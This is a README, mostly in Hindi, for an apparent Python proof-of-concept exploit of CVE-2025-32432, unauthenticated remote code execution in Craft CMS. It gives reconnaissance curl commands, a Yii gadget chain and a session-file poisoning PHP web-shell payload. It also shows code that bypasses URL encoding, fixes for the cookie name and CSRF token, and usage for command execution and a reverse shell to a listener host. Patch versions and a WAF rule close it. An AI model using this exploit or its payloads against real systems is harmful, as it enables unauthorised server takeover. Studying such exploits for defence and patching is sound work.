
Python PoC जो CVE-2025-32432 का उपयोग करता है, जो Yii DI gadget injection के माध्यम से Craft CMS में एक unauthenticated RCE है, जिसमें assetId scanning, reverse shell, और remediation guidance शामिल है।
गंभीरता: क्रिटिकल (CVSS 10.0) प्रमाणीकरण आवश्यक: कोई नहीं प्रभावित: Craft CMS 3.0.0-RC1 - 3.9.14, 4.0.0-RC1 - 4.14.14, 5.0.0-RC1 - 5.6.16 पैच किया गया: Craft CMS 3.9.15 / 4.14.15 / 5.6.17, Yii2 2.0.50
शोषण करने से पहले, पुष्टि करें कि लक्ष्य Craft CMS का एक असुरक्षित संस्करण चला रहा है।
curl -s http://target/cms/index.php | grep -i craft
curl -s http://target/cms/web.config
curl -s http://target/cms/composer.json | python3 -m json.tool | grep craftcms
curl -s -o /dev/null -w "%{http_code}" \
-X POST http://target/cms/actions/assets/generate-transform \
-H "Content-Type: application/json" \
-d '{"assetId":1,"handle":{"width":1,"height":1}}'
python3 exploit.py -u http://target/cms -c "id"
यदि आउटपुट में uid= है तो लक्ष्य असुरक्षित होने की पुष्टि होती है और RCE प्राप्त हो जाता है।
AssetsController::actionGenerateTransform() को allowAnonymous घोषित किया गया है, जिससे यह बिना प्रमाणीकरण के पहुंच योग्य हो जाता है। यह उपयोगकर्ता-नियंत्रित handle पैरामीटर को सीधे Yii::createObject() में पास करता है:
protected array|bool|int $allowAnonymous = ['generate-thumb', 'generate-transform'];
public function actionGenerateTransform(): Response
{
$handle = Craft::$app->getRequest()->getBodyParam('handle');
$transform = ImageTransforms::normalizeTransform($handle); // -> Yii::createObject($handle)
}
Yii का DI कंटेनर बिना किसी allow-list के दो विशेष array keys को संभालता है:
| Key | व्यवहार |
|---|---|
__class | घोषित प्रकार के बजाय इस क्लास को इंस्टैंशिएट करें |
__construct() | इन मानों को कंस्ट्रक्टर आर्गुमेंट के रूप में पास करें |
गैजेट चेन:
handle[as x][__class] = yii\rbac\PhpManager
handle[as x][__construct()] = [{"itemFile": "/tmp/sess_<CraftSessionId>"}]
|
PhpManager::init() -> load() -> loadFromFile($itemFile) -> require $itemFile
सेशन फ़ाइल पॉइज़निंग चक्र को पूरा करती है: PHP GET पैरामीटर को /tmp/sess_<CraftSessionId> में वैसे ही संग्रहीत करता है। वहां <?=shell_exec($_GET['cmd']);exit;?> रखने से RCE मिलता है।
मूल समस्या: Python requests भेजने से पहले <, >, ?, = को एन्कोड करता है। PHP का सेशन हैंडलर प्रतिशत-एन्कोडेड बाइट्स को संग्रहीत करता है — निष्पादन योग्य PHP नहीं।
GET /index.php?p=admin/dashboard&cve202532432=%3C%3F%3Dshell_exec%28%24_GET%5B%27cmd%27%5D%29%3Bexit%3B%3F%3E HTTP/1.1
# Session file stores:
returnUrl|s:107:"...&cve202532432=%3C%3F%3Dshell_exec%28%24_GET%5B%27cmd%27%5D%29%3Bexit%3B%3F%3E"
# PHP sees a plain string — no PHP tags — nothing executes.
GET /index.php?p=admin/dashboard&cve202532432=<?=shell_exec($_GET['cmd']);exit;?> HTTP/1.1
# Session file stores:
returnUrl|s:107:"...&cve202532432=<?=shell_exec($_GET['cmd']);exit;?>"
# When require()'d, PHP executes shell_exec and returns the output.
समाधान: HTTPConnectionPool._make_request को मंकी-पैच करें — TCP से ठीक पहले का अंतिम बिंदु — और वहां urllib.parse.unquote() को कॉल करें:
def _raw_request(self, conn, method, url, **kw):
url = urllib.parse.unquote(url) # restore < > ? = just before socket write
return self._orig_req(conn, method, url, **kw)
urllib3.connectionpool.HTTPConnectionPool._orig_req = urllib3.connectionpool.HTTPConnectionPool._make_request
urllib3.connectionpool.HTTPConnectionPool._make_request = _raw_request
मानक: PHP की डिफ़ॉल्ट सेशन कुकी PHPSESSID है। Craft CMS इसे अपने एप्लिकेशन कॉन्फ़िग में ओवरराइड करता है:
// craft/config/app.php (Craft CMS source)
'session' => [
'class' => craft\web\Session::class,
'cookieName' => 'CraftSessionId', // <-- custom name, NOT PHPSESSID
],
इसका मतलब है कि डिस्क पर सेशन फ़ाइल /tmp/sess_<CraftSessionId> है, न कि /tmp/sess_<PHPSESSID>।
| Property | PHP Default | Craft CMS |
|---|---|---|
| Cookie name | PHPSESSID | CraftSessionId |
| Session file | /tmp/sess_abc123 | /tmp/sess_abc123 |
| How to read | session.cookies.get("PHPSESSID") | session.cookies.get("CraftSessionId") |
| What happens if wrong | None returned | itemFile path points to nonexistent file |
| Result | exploit fails silently | no error — require() just fails |
# BROKEN — reads PHPSESSID, gets None
session_id = session.cookies.get("PHPSESSID")
item_file = f"/tmp/sess_{session_id}" # -> "/tmp/sess_None" — does not exist
# FIXED — reads the actual Craft cookie
session_id = sess.cookies.get("CraftSessionId")
item_file = f"/tmp/sess_{session_id}" # -> "/tmp/sess_u8p2hn4kfgol9nbjkcvnv7ag6u"
आप किसी भी Craft पृष्ठ पर जाने के बाद ब्राउज़र DevTools का निरीक्षण करके, या Set-Cookie प्रतिक्रिया हेडर की जांच करके सही कुकी नाम सत्यापित कर सकते हैं:
curl -sI http://target/cms/index.php | grep -i set-cookie
# Set-Cookie: CraftSessionId=u8p2hn4kfgol9nbjkcvnv7ag6u; path=/; HttpOnly
Craft सभी गैर-अनाम POST क्रियाओं पर CSRF टोकन को मान्य करता है। टोकन छोड़ने से 400 Bad Request होता है।
# BROKEN
requests.post(url, json=payload)
# FIXED — extract CRAFT_CSRF_TOKEN from login page HTML, send as header
requests.post(url, json=payload, headers={"X-CSRF-Token": csrf})
| Issue | Log-poisoning PoCs | Session (wrong cookie) | Session (no CSRF) | This PoC |
|---|---|---|---|---|
| URL encoding | N/A (User-Agent) | BROKEN | BROKEN | FIXED monkey-patched |
| Cookie name | N/A | BROKEN PHPSESSID | BROKEN PHPSESSID | FIXED CraftSessionId |
| CSRF on trigger | OK | OK | BROKEN | FIXED |
| Stale log exit; | BROKEN | N/A | N/A | N/A |
| Works on /cms prefix | BROKEN | BROKEN | BROKEN | FIXED |
usage: exploit.py [-h] -u URL [-c CMD] [-a ASSET_ID] [-s SCAN_MAX]
[--revshell] [--lhost LHOST] [--lport LPORT]
options:
-u URL Craft CMS base URL including path prefix
-c CMD Shell command to execute
-a ASSET_ID Known valid assetId (skips auto-scan)
-s SCAN_MAX Upper bound for assetId scan (default: 50)
--revshell Send a Python3 reverse shell
--lhost LHOST Listener IP (required with --revshell)
--lport LPORT Listener port (required with --revshell)
python3 exploit.py -u http://target:8088/cms -c "id"
python3 exploit.py -u http://target:8088/cms -c "cat /flag/flag.txt"
# Reverse shell (Python3 — avoids /dev/tcp and bash quoting issues)
nc -lvnp 4444
python3 exploit.py -u http://target:8088/cms --revshell --lhost 10.10.14.1 --lport 4444
| Action | Detail |
|---|---|
| Upgrade Craft CMS | 3.9.15 / 4.14.15 / 5.6.17 validates handle implements ImageTransformerInterface |
| Upgrade Yii2 | 2.0.50 blocks __class injection in Component::__set |
| WAF rule | Block __class or __construct() in request body to /actions/assets/generate-transform |
| Branch | Vulnerable | Patched |
|---|---|---|
| 3.x | 3.0.0-RC1 – 3.9.14 | 3.9.15+ |
| 4.x | 4.0.0-RC1 – 4.14.14 | 4.14.15+ |
| 5.x | 5.0.0-RC1 – 5.6.16 | 5.6.17+ |